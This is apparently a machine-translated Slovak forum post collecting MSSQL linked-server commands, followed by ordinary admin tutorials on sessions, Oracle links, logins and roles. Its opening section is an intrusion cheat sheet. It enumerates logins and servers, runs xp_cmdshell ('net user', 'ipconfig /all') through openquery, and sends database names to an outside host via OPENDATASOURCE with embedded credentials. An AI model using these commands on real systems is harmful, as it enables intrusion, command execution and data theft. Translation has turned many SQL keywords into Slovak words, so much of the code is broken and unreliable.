srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers
vybrať

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers



Dotaz linkserver2
Vyberte Distinct Hostname,db_name(dbid),net_address,loginame,program_name z

Majster.. Sysprocesy



Dotaz na linkserver
a ďalších prihlásených používateľov
Select * z [192.168.1.1].master.dbo.syslogins



Query linkserver
Všetky databázy
vyberte * z linkedSrvWeb.master.dbo.sysdatabases



Vykonávanie rozšíreného ukladania na LinkServer
Exec [IP].master.dbo.xp_cmdshell



Dotazujte všetky tabuľky na linkserveri
Vyberte * z [IP].master.dbo.sysobjects








Vyberte * z OpenRowset

('sqloledb','server=IP; uid=užívateľ; pwd=password','select @@version')


select * from openquery([LINKSERVER

meno],'vybrať @@version')




select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




vyberte * z openquery(GM_SERVER,'vyberte * zo sysobjects kde xtype = (''U'')')


Vyberte * z

openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')




Vyberte * z openquery(toatdeweb,'select

srvname z master.dbo.sysservers')


Vložiť do OpenDatasource

('sqloledb','server=222.241.95.12; uid = SCD; pwd=a123520; database=hack520').hack520.dbo.zhu vybrať

názov z master.dbo.sysdatabases
vytvoriť databázu hack520 Vytvoriť TABUĽKU zhu(meno nvarchar(256)

null); Create TABLE J8(id int NULL, name nvarchar(256) null);


Vyberte * z OpenQuery

(toatdeweb,'set fmtonly off executive master.dbo.xp_cmdshell ''net user'')


Výkonný majster.. xp_dirtree

'c:\',1,1
Vykonajte adresár dotazov


Exec Links.Master.. xp_cmdshell 'ipconfig'


select * from openquery(toatdeweb,'set

fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all'')



Connect mysql Select * z Mem_DB. UserDB.dbo.AdminList


VÝKONNÝ MAJSTER.. XP_dirtree 'c:\',1,1




Exec

master.dbo.xp_cmdshell 'dir'


Vyberte count(*) z [indicate]
Opýtajte sa, koľko dát sa nachádza v aktuálnej tabuľke




Select distinct hostname,db_name(dbid),net_address,loginame,program_name

od majstra.. Sysprocesy






Vyberte * z gamedb01. Server01.dbo.cabal_character_table kde meno='

Prasa'





Keď ho vymažete, zobrazí sa to: Databáza sa používa a nedá sa vymazať.


Kliknite na databázu, ktorú chcete vymazať, aby ste otvorili Event Viewer.


Vstup:


Použitie   

Majster
Choď
Potom zadajte nasledujúce:
Declare @d Varchar(8000)
Set @d= ' '
vybrať @d=@d+ ' zabiť   

'+cast(spid ako Varchar)+char(13)
od majstra.. sysprocesses, kde dbid=db_id('názov knižnice')
exec(@d)
--
Použite kód na vymazanie procesu, ktorý sa najskôr pripája k tejto databáze












MSSQL prevádzkuje Oracle cez LinkServer






1) Inštalácia Oracle na server SQL_SERVER 2005

9i klient. Predpokladajme, že inštalujete do adresára C:\ora92i\. Ak je D: NTFS partícia, musíte nastaviť nainštalovaný adresár ORACLE ako ten, ktorý sa používa

Predplatitelia majú právo spúšťať, pridávať a mazať.


2)
Nakonfigurujte súbor C:\ora92i\network\ADMIN\tnsnames.ora. (Nasledujúci červený text je príkladom konfigurácie)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
Spustite nasledujúci príkaz v DOS režime, aby ste potvrdili, že ORACLE klient je správne nainštalovaný.


SQLPLUS používateľ/password@ORCL


4)
Otvorte Start - Ovládací panel - Služby a potvrďte, že služba Distributed Transaction Coordinator je spustená.



5) Open SQL SERVER Management Studio, názov inštancie (ORCL) - Serverový objekt (pravé kliknutie) - Nový pripojovací server.


1.      


Link server: Napíšte názov prepojeného servera, napríklad OracleTest


2.         
Typ servera, vyberte iný zdroj dát


3. Prístupové rozhranie:
Select Oracle Provider for OLE DB


4. Názov produktu: Napíšte Oracle


5. Zdroj údajov: Zápis

Názov služby sa konfiguroval v súbore tnsnames.ora, napríklad ORCL


6.         
Reťazec prístupového rozhrania: userid=sys ako sysdba; password=password


7.         
Na stránke Výber bezpečnostných možností použite tento inštalačný kontext na nadviazanie spojenia:


a) Vzdialené prihlásenie: používateľ (iný používateľ, nie sys)


b)      

    Použite heslo: heslo


8. Nastavte "NT AUTHORITY\SYSTEM" na lokálne prihlásenie, systém vzdialeného používateľa a heslo


9.

         Si si istý


6) Existujú dva spôsoby, ako písať SQL


a) Použitie T-SQL syntaxe:


           VYBRAŤ * Z

OraTest.ERP.BAS_ITEM_CLASS


           Všimnite si, že pri zadávaní SQL príkazov v SQL Query Analyzeri venujte pozornosť čínskemu prepínaniu plnej a polovičnej šírky

Cesta!


b) Použitie PLSQL syntaxe:
           SELECT * FROM openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) Druhý prístup je približne o 50 % rýchlejší ako prvý; Druhá metóda prístupu je priamo prepojená

ORACLE je porovnateľný; Prvá metóda prístupu môže viesť k niektorým neočakávaným chybám, ako napríklad:
           Tabuľka neexistuje, ani súčasný používateľ

K stolu nie je prístup, a tak ďalej.


           d) Ak stĺpec, ku ktorému treba pristupovať, používa dátové typy bez presnosti, obe tieto

Toto je chyba v ORACLE, ktorú nie je možné opraviť a dá sa jej vyhnúť len špeciálnym spracovaním dotazových príkazov:


     Metadáta poskytované poskytovateľom OLE DB 'OraOLEDB.Oracle' pre stĺpce sú nekonzistentné. Informácie o metadátach sa menia pri vykonávaní.










MSSQL pridané

Vymažte používateľa a udeľte oprávnenia


Použi názov svojej knižnice   
Choď   
--Pridať používateľov   
Exec sp_addlogin 'test' – pridať prihlásenie   
exec

sp_grantdbaccess N'test' – čím sa stal legitímnym používateľom aktuálnej databázy   
exec sp_addrolemember N'db_owner',

N'test' – udeľuje všetky oprávnenia k vlastnej databáze   
--Týmto vznikajú používatelia, ktorí majú prístup len k vlastnej databáze a k tomu, čo je v databáze zahrnuté

Verejná tabuľka pre hosťujúcich používateľov   
Choď   
--Odstrániť testovacieho používateľa   
exec sp_revokedbaccess N'test' -- Odstrániť prístup do databázy

Limit   
exec sp_droplogin N'test' -- vymazať prihlásenie   
Ak ho vytvoríte v Enterprise Manageri, použite:   
Enterprise Manager - Bezpečnosť

Sex --Pravé kliknutie na prihlásenie--Nové prihlásenie   
Všeobecné položky   
--Zadajte používateľské meno do názvu   

--Spôsob autentifikácie sa vyberá podľa vašich potrieb (ak používate autentifikáciu Windows, musíte najskôr vytvoriť nového používateľa medzi používateľmi operačného systému)   

--V predvolených nastaveniach vyberte názov databázy, ku ktorému chcete pristupovať pre nového používateľa   
Položka roly servera   
Nevyberaj si nič v tomto   
databáza

Prístup k položke   
Skontrolujte názov databázy, ku ktorej chcete pristupovať pre používateľa, ktorého vytvoríte   
Povoliť v databázovej úlohe zaškrtnúť "verejné", "db_ownew"   
Jasné, toto

Používateľ vytvorený vzorkou je rovnaký ako používateľ vytvorený vyššie uvedeným vyhlásením   



Posledným krokom je nastaviť špecifické prístupové oprávnenia pre konkrétnych používateľov, ktoré možno odkázať na nasledujúci minimálny príklad:   

--Pridať používateľov, ktorí majú prístup iba k zadanej tabuľke:   
Exec sp_addlogin 'používateľské meno', 'heslo', 'predvolený názov databázy'   

--pridať do databázy   
exec sp_grantdbaccess 'používateľské meno'   

--Priradiť oprávnenia celým tabuľkám   
POVOLIŤ SELECT , VLOŽIŤ , AKTUALIZOVAŤ , DELETE NA TABLE1 DO [používateľské meno]   
--Priradiť oprávnenia konkrétnym stĺpcom   
GRANT SELECT , AKTUALIZÁCIA NA TABLE1(id,AA) NA [používateľské meno]   


Pre konkrétne bezpečnostné nastavenia a teoretické poznatky si prosím pozrite SQL Online Help  







Popis úlohy v pevnej databáze   
  db_owner Mať plné oprávnenia v databáze.   

db_accessadmin Môžete pridávať alebo odstraňovať používateľské ID.   

db_securityadmin Dokáže spravovať plné oprávnenia, vlastníctvo objektov, roly a členstvá v rolách.   

db_ddladmin môže vydávať VŠETKY DDL, ale nie GRANT, REVOKE alebo PENY.   

db_backupoperator môže vydávať príkazy DBCC, CHECKPOINT a BACKUP.   

db_datareader Môžete vybrať všetky údaje z akejkoľvek používateľskej tabuľky v databáze.   

db_datawriter Môžete zmeniť všetky údaje v akejkoľvek používateľskej tabuľke v databáze.   

db_denydatareader Nemôžete vybrať žiadne údaje z žiadnej používateľskej tabuľky v databáze.   

db_denydatawriter Nemôžete meniť žiadne údaje v žiadnej používateľskej tabuľke v databáze.  





Mali by ste si vybrať db_datareader, db_datawriter db_accessadmin




5.
Po spustení SQL Server inštancie v režime jedného používateľa môže administrátorský účet Windows použiť nástroj sqlcmd na pripojenie v režime autentifikácie Windows

SQL Server。 Môžete použiť príkazy T-SQL ako "sp_addsrvrolemember" na pridanie existujúceho prihlásenia do roly sysadmin servera

Alebo si vytvorte nový prihlasovací účet.
Príklad tvrdenia je nasledovný:


EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';


CHOĎ


Pridajte oprávnenie správcu systému








(1) Spravovať roly servera


V SQL Serveri existujú dve hlavné uložené procedúry, ktoré implementujú správu rolí SQL Server:


sp_addsrvrolemember

a sp_dropsrvrolemember


sp_addsrvrolemember
Môžete pridať prihlasovací účet do roly servera, aby sa stal členom tejto roly. Syntax je nasledovná:
sp_addsrvrolemember

prihlásiť sa, rola


sp_dropsrvrolemember
Môžete vymazať prihlasovací účet z roly servera a keď je člen odstránený zo serverovej roly, už túto rolu nemá

Povolenia nastavené. Syntax je nasledovná:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'


do toho

@loginname je meno prihláseného používateľa; @rolename je pozícia servera.




(2) Správa databázových rolí


V SQL Serveri je podporovaná správa databáz

Existuje šesť hlavných typov uložených procedúr a ich konkrétne významy a syntax sú nasledovné:


sp_addrole: Použité na vytvorenie novej databázovej roly;
sp_addrole

Úloha, majiteľ


sp_droprole: Používa sa na odstránenie databázovej úlohy z aktuálnej databázovej roly;
sp_droprole úloha


sp_helprole:

Používa sa na zobrazenie všetkých informácií o všetkých databázových rolách v aktuálnej databáze;
sp_helprole ['rola']


sp_addrolemember: Používa sa na odosielanie do databázy

Pridajte databázových používateľov do roly, ktorá môže byť používateľom definovaná štandardná rola alebo pevné databázové roly, ale nemôže byť

Aplikačné pozície.
sp_addrolemember úloha, security_account


sp_droprolemember: Používa sa na vymazanie určitej postavy

domácnosti;
sp_droprolemember úlohu, security_account


sp_helprolemember: Používa sa na zobrazenie všetkých členov databázovej roly


sp_helprolemember ['rola']






Dotaz MSSQL LINKSERVER


----------------------------------------------------------------------------------
-- Autor:

htl258(Tony)
-- Dátum : 2010-06-25 22:23:18
-- Verzia: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9. júl 2008 14:43:34
-- Copyright (c) 1988-2008 Microsoft Corporation
--

Developer Edition na Windows NT 5.1 (Build 2600: Service Pack 2)
-- Blog : -- Predmet:
SQL dátové operácie medzi rôznymi serverovými databázami
----------------------------------------------------------------------------------
--1.
Vytvorte link server
--1.1 Vytvoriť názov odkazu
EXEC sp_addlinkedserver 'LinkName','',', 'SQLOLEDB',' názov vzdialeného servera

alebo IP adresu' --
Ak máte vlastné meno inštancie, pridajte "\názov inštancie"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Vytvorte si prihlasovacie číslo (alebo vytvorte prihlasovaciu mapu na linkový server) (stačí si vybrať jeden spôsob)
--1.2.1
Prihlásenie pomocou Windows autentifikácie
EXEC sp_addlinkedsrvlogin 'LinkName'
--alebo EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Prihlásenie pomocou SQL autentifikácie
EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Username', 'Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink', 'false', null, 'sa', '123' */
--2.
Dátové operácie súvisiace s linkovým serverom
--2.1 Príklad dotazu
VYBRAŤ * Z LinkName.database name.schema name.table name name
/*例如:SELECT *

Z TonyLink.Mydb.dbo.tb */
--
2.2 Príklad importu
VYBERTE * DO názvu tabuľky Z LinkName.database name.schema name.table name name
/*例如:SELECT * INTO Newtb

Z TonyLink.Mydb.dbo.tb */
--
2.3 Príklad aktualizácie
UPDATE LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE pole ='condition'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Persons='g' KDE Persons='a' */
--
2.4 Vymazať príklady
DELETE LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE

TonyLink.Mydb.dbo.tb KDE osoby='g' */
--3 cez funkciu rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Metóda
-
3.1 Metóda OPENQUERY (vyžaduje pomoc linkového servera, ktorý ste práve vytvorili):
--
3.1.1 Príklad dotazu
SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM názov databázy. Názov architektúry. názov tabuľky')
/*
Napríklad: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Importné príklady
--3.1.2.1 Importovať všetky stĺpce
INSERT OPENQUERY(LinkName, 'SELECT * FROM názov databázy. Názov architektúry. Názov tabuľky

') VYBRAŤ * Z lokálnej tabuľky
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

Z TB */
--3.1.2.2
Importujte špecifikované stĺpce
INSERT OPENQUERY(LinkName, 'SELECT * FROM názov databázy. Názov architektúry. názov tabuľky') (stĺpček, stĺpec...)
SELECT stĺpec,

Stĺpček... Z miestnej tabuľky
/*
Napríklad: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
VYBRAŤ

ROZSAH, ÚROVEŇ, OSOBY Z TUBERKULÓZY
*/
--3.1.3
Príklady aktualizácií
AKTUALIZOVAŤ OPENQUERY(LinkName, 'SELECT * FROM názov databázy. Názov architektúry. názov tabuľky') pole SET = 'hodnota' KDE slovo

Segment = 'Podmienka'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Osoby='a' */
--3.1.4
Vymazať príklady
DELETE OPENQUERY(LinkName, 'SELECT * FROM názov databázy. Názov architektúry. názov tabuľky') KDE názov poľa='podmienka'
/*例

Napríklad: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') KDE Persons='g' */
--3.2
Metóda OPENROWSET (nemusíš používať vytvorený názov odkazu.) Ak názov pripojenej inštancie nie je predvolený, musíte ho nastaviť na názov SQL servera alebo IP adresu.

"\názov inštancie")
--3.2.1 Príklad dotazu
--3.2.1.1
Dotaz na spôsob autentifikácie vo Windows (jedna z nasledujúcich metód je postačujúca)
SELECT * FROM OPENROWSET('SQLOLEDB', 'server=sql server name alebo

IP adresu; Trusted_Connection=áno', názov databázy. Názov architektúry. Názov tabuľky)
SELECT * FROM OPENROWSET('SQLNCLI',

'server=názov SQL servera alebo IP adresa; Trusted_Connection=áno', názov databázy. Názov architektúry. Názov tabuľky)
VYBRAŤ * Z

OPENROWSET('SQLOLEDB', 'server=názov sql servera alebo IP adresa; Trusted_Connection=áno','VYBRAŤ * Z databázy

Meno. Názov architektúry. názov tabuľky')
SELECT * FROM OPENROWSET('SQLNCLI', 'server=názov sql servera alebo IP adresa

Adresa; Trusted_Connection=áno','VYBRAŤ * Z názvu databázy. Názov architektúry. názov tabuľky')
/*
Napríklad: SELECT * FROM OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)

Alebo: VYBRAŤ * Z OPENROWSET

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)

Alebo: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=áno','VYBRAŤ *

Z Mydb.dbo.tb')

Alebo: VYBERTE * Z OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=áno','VYBRAŤ *

Z Mydb.dbo.tb')
*/
--3.2.1.2 SQL Authentication Method Query (Jedna z nasledujúcich metód je postačujúca)
VYBRAŤ * Z OPENROWSET

('SQLOLEDB', 'server=názov SQL servera alebo IP adresa; uid=používateľské meno; pwd=password', názov databázy. Názov architektúry. Názov tabuľky)
VYBRAŤ * Z

OPENROWSET('SQLNCLI', 'server=názov sql servera alebo IP adresa; uid=používateľské meno; pwd=password', názov databázy. Názov architektúry. Názov tabuľky)
SELECT * FROM OPENROWSET('SQLOLEDB', 'server=názov sql servera alebo IP adresa; uid=používateľské meno; pwd=password','SELECT *

FROM názov databázy. Názov architektúry. názov tabuľky')
SELECT * FROM OPENROWSET('SQLNCLI', 'server=názov sql servera alebo IP adresa; uid=

Používateľské meno; pwd=password','SELECT * FROM názov databázy. Názov architektúry. názov tabuľky')
SELECT * FROM OPENROWSET('SQLOLEDB', 'sql

názov servera'; 'používateľské meno'; 'heslo', názov databázy. Názov architektúry. Názov tabuľky)
VYBERTE * Z OPENROWSET('SQLNCLI', 'SQL SERVER NAME

'; 'používateľské meno'; 'heslo', názov databázy. Názov architektúry. Názov tabuľky)
VYBERTE * Z OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; '

meno'; 'Heslo', 'VYBRAŤ * Z názvu databázy. Názov architektúry. názov tabuľky')
SELECT * FROM OPENROWSET('SQLNCLI', 'sql Server

meno'; 'používateľské meno'; 'Heslo', 'VYBRAŤ * Z názvu databázy. Názov architektúry. názov tabuľky')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb)
Alebo: VYBRAŤ * Z OPENROWSET

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb)
Alebo: VYBRAŤ * Z OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')

alebo: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','VYBRAŤ * Z

Mydb.dbo.tb')

alebo: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

alebo: VYBRAŤ * Z OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

alebo: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','VYBRAŤ * Z Mydb.dbo.tb')

alebo: VYBRAŤ * Z OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','VYBRAŤ * Z Mydb.dbo.tb')
*/
--3.2.2 Import príklad
--3.2.2.1 Importovať všetky stĺpce
INSERT OPENROWSET('SQLOLEDB', 'server=názov SQL servera alebo IP adresa

Adresa; uid=používateľské meno; pwd=password', názov databázy. Názov architektúry. Názov tabuľky)
VYBRAŤ * Z lokálnej tabuľky
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb)
VYBRAŤ * Z TB
*/
--3.2.2.2 Import

Špecifikovať stĺpce
INSERT OPENROWSET('SQLOLEDB', 'server=názov sql servera alebo IP adresa; uid=používateľské meno; pwd=password', názov databázy. Rack

Názov konštruktu. názov tabuľky) (stĺpček, stĺpec...)
SELECT stĺpec, stĺpec... Z miestnej tabuľky
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ROZSAH,ÚROVEŇ,Osoby)
VYBRAŤ

ROZSAH, ÚROVEŇ, OSOBY Z TUBERKULÓZY
*/
--Poznámka: Pre alternatívnejšie metódy sa pozrite na príklad dotazu .2.1, jednoducho nahraďte funkciu OPENROWSET

Obsah je dostatočný.
--3.2.3 Príklad aktualizácie
AKTUALIZOVAŤ OPENROWSET('SQLOLEDB', 'server=názov sql servera alebo IP adresa; uid=používateľské meno

;p wd=password', názov databázy. Názov architektúry. Názov tabuľky)
Pole SET = 'hodnota'
KDE pole = 'podmienka'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb)
SET Persons='g'
KDE osoby = 'a'
*/
--Poznámka: Pre alternatívnejšie metódy sa pozrite na príklad dotazu .2.1, jednoducho nahraďte obsah v OPENROWSET.
--3.2.4 Vymazať indikáciu

Príklad
DELETE OPENROWSET('SQLOLEDB', 'server=názov sql servera alebo IP adresa; uid=používateľské meno; pwd=password', názov databázy. Názov schémy

.table name)
KDE názov poľa='podmienka'
/*
Napríklad: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb)
KDE

Persons='g'
*/
--Poznámka:
Pre ďalšie alternatívne metódy pozri príklad dotazu .2.1, stačí nahradiť obsah v OPENROWSET.
--3.3 OPENDATASOURCE metóda

(Nemusíte používať vytvorený názov odkazu.) Ak názov inštancie pripojenia nie je predvolený, musíte pridať \inštanciu za názov SQL servera alebo IP adresu

")
--3.3.1
Príklad dotazu
--3.3.1.1 Dotaz na autentifikačnú metódu Windows (Jedna z nasledujúcich metód je postačujúca)
SELECT * FROM OPENDATASOURCE('SQLOLEDB',

'server=názov SQL servera alebo IP adresa; Trusted_Connection=áno'). Názov databázy. Názov architektúry. Názov tabuľky
VYBRAŤ * Z

OPENDATASOURCE('SQLNCLI', 'server=názov sql servera alebo IP adresa; Trusted_Connection=áno'). Názov databázy. Názov architektúry.

Názov tabuľky
/*
Napríklad: VYBRAŤ * Z OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=áno'). Mydb.dbo.tb

Alebo: VYBERTE * Z OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=áno'). Mydb.dbo.tb
*/
--3.3.1.2
Dotaz na metódu autentifikácie SQL (jedna z nasledujúcich metód je postačujúca)
SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'server=názov sql servera alebo

IP adresu; uid=používateľské meno; pwd=password').
Názov databázy. Názov architektúry. Názov tabuľky
VYBERTE * Z OPENDATASOURCE ('SQLNCLI', 'server=názov sql servera alebo IP adresa; uid=používateľ

Meno; pwd=password').
Názov databázy. Názov architektúry. Názov tabuľky
SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'Data Source=názov sql servera alebo IP adresa

Adresa; uid=používateľské meno; pwd=password').
Názov databázy. Názov architektúry. Názov tabuľky
SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Data Source=názov sql servera alebo IP adresa

Adresa; uid=používateľské meno; pwd=password').
Názov databázy. Názov architektúry. Názov tabuľky
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Alebo: VYBERTE * Z OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Alebo: VYBERTE * Z OPENDATASOURCE ('SQLOLEDB','Data

Zdroj=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Alebo: VYBERTE * Z OPENDATASOURCE ('SQLNCLI','Data

zdroj=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Importovať všetky stĺpce
INSERT OPENDATASOURCE('SQLOLEDB', 'server=názov SQL servera alebo IP adresa; uid=používateľské meno; pwd=password').

Podľa názvu knižnice. Názov architektúry. Názov tabuľky
VYBRAŤ * Z lokálnej tabuľky
/*
Napríklad: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
VYBRAŤ

* Z tuberkulózy
*/
--3.3.2.2
Importujte špecifikované stĺpce
INSERT OPENDATASOURCE('SQLOLEDB', 'server=názov SQL servera alebo IP adresa; uid=používateľské meno; pwd=password').

Podľa názvu knižnice. Názov architektúry. Názov tabuľky (stĺpec, stĺpec...)
SELECT stĺpec, stĺpec... Z miestnej tabuľky
/*
Napríklad: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(VZDIALENOSŤ, ÚROVEŇ, Osoby)
VYBERTE ROZSAH, ÚROVEŇ,Osoby Z TB
*/
--Poznámka:
Pre ďalšie alternatívne metódy pozri príklad dotazu .3.1, stačí nahradiť obsah vo funkcii riadkovej sady (OPENDATASOURCE).
--3.3.3 Príklad aktualizácie
AKTUALIZOVAŤ OPENDATASOURCE ('SQLOLEDB', 'server=názov sql servera alebo IP adresa; uid=používateľské meno; pwd=password').
Názov databázy. Názov architektúry. Názov tabuľky
Pole SET = 'hodnota'
KDE pole = 'podmienka'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Persons='g'
KDE osoby = 'a'
*/
--Poznámka:
Pre ďalšie alternatívne metódy pozri príklad dotazu .3.1, stačí nahradiť obsah vo funkcii riadkovej sady (OPENDATASOURCE).
--3.3.4 Príklad vymazania
DELETE OPENDATASOURCE('SQLOLEDB', 'server=názov sql servera alebo IP adresa; uid=používateľské meno; pwd=password').
Názov databázy. Názov architektúry. Názov tabuľky
KDE názov poľa='podmienka'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
KDE osoby = 'g'
*/
- Poznámka: Viac alternatív

Pozrite sa na príklad dotazu .3.1, stačí nahradiť obsah v funkcii rowset (OPENDATASOURCE).
--
Vymazať metódu prepojeného servera
--Ak už v budúcnosti nebudete používať informácie o odkaze, môžete ich vymazať
--4.1
Vymažte prihlasovacie údaje (alebo vymažte mapu prihlasovacích mien prepojeného servera)
EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/*
Napríklad: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Vymažte prepojený názov servera
EXEC sp_dropserver 'LinkName', 'droplogins' – ak sú špecifikované droploginy,
Prihlasovacia mapa musí byť pred vymazaním prepojeného servera vymazaná
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Pripojené


Ako získať meno poskytovateľa (EXEEC master). xp_enum_oledb_providers)
SELECT CAST([Názov poskytovateľa] AKO

VARCHAR(30)) PoskytovateľMeno,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
Z

OPENROWSET(
'SQLOLEDB',
'Server=.; Trusted_Connection=áno',
'SPUSTITE FMTONLY;
EXEC

Majster.. xp_enum_oledb_providers'
)




Predchádzajúci:Proces spracovania zraniteľností v UCloud a detaily odmien
Budúci:Dnes stihnem vlak domov a doma som nebol viac ako pol roka
Zverejnené 27. 9. 2017 17:43:11 |
Veľmi podrobné Ďakujem
 Prenajímateľ| Zverejnené 17. 6. 2023 11:12:11 |
Testujte testovanie SQL injekcie pomocou infiltračného nástroja SQLMAP
https://www.itsvse.com/thread-10611-1-1.html
Vyhlásenie:
Všetok softvér, programovacie materiály alebo články publikované spoločnosťou Code Farmer Network slúžia len na vzdelávacie a výskumné účely; Vyššie uvedený obsah nesmie byť použitý na komerčné alebo nezákonné účely, inak nesú všetky následky používateľmi. Informácie na tejto stránke pochádzajú z internetu a spory o autorské práva s touto stránkou nesúvisia. Musíte úplne vymazať vyššie uvedený obsah zo svojho počítača do 24 hodín od stiahnutia. Ak sa vám program páči, podporte originálny softvér, zakúpte si registráciu a získajte lepšie originálne služby. Ak dôjde k akémukoľvek porušeniu, kontaktujte nás prosím e-mailom.

Mail To:help@itsvse.com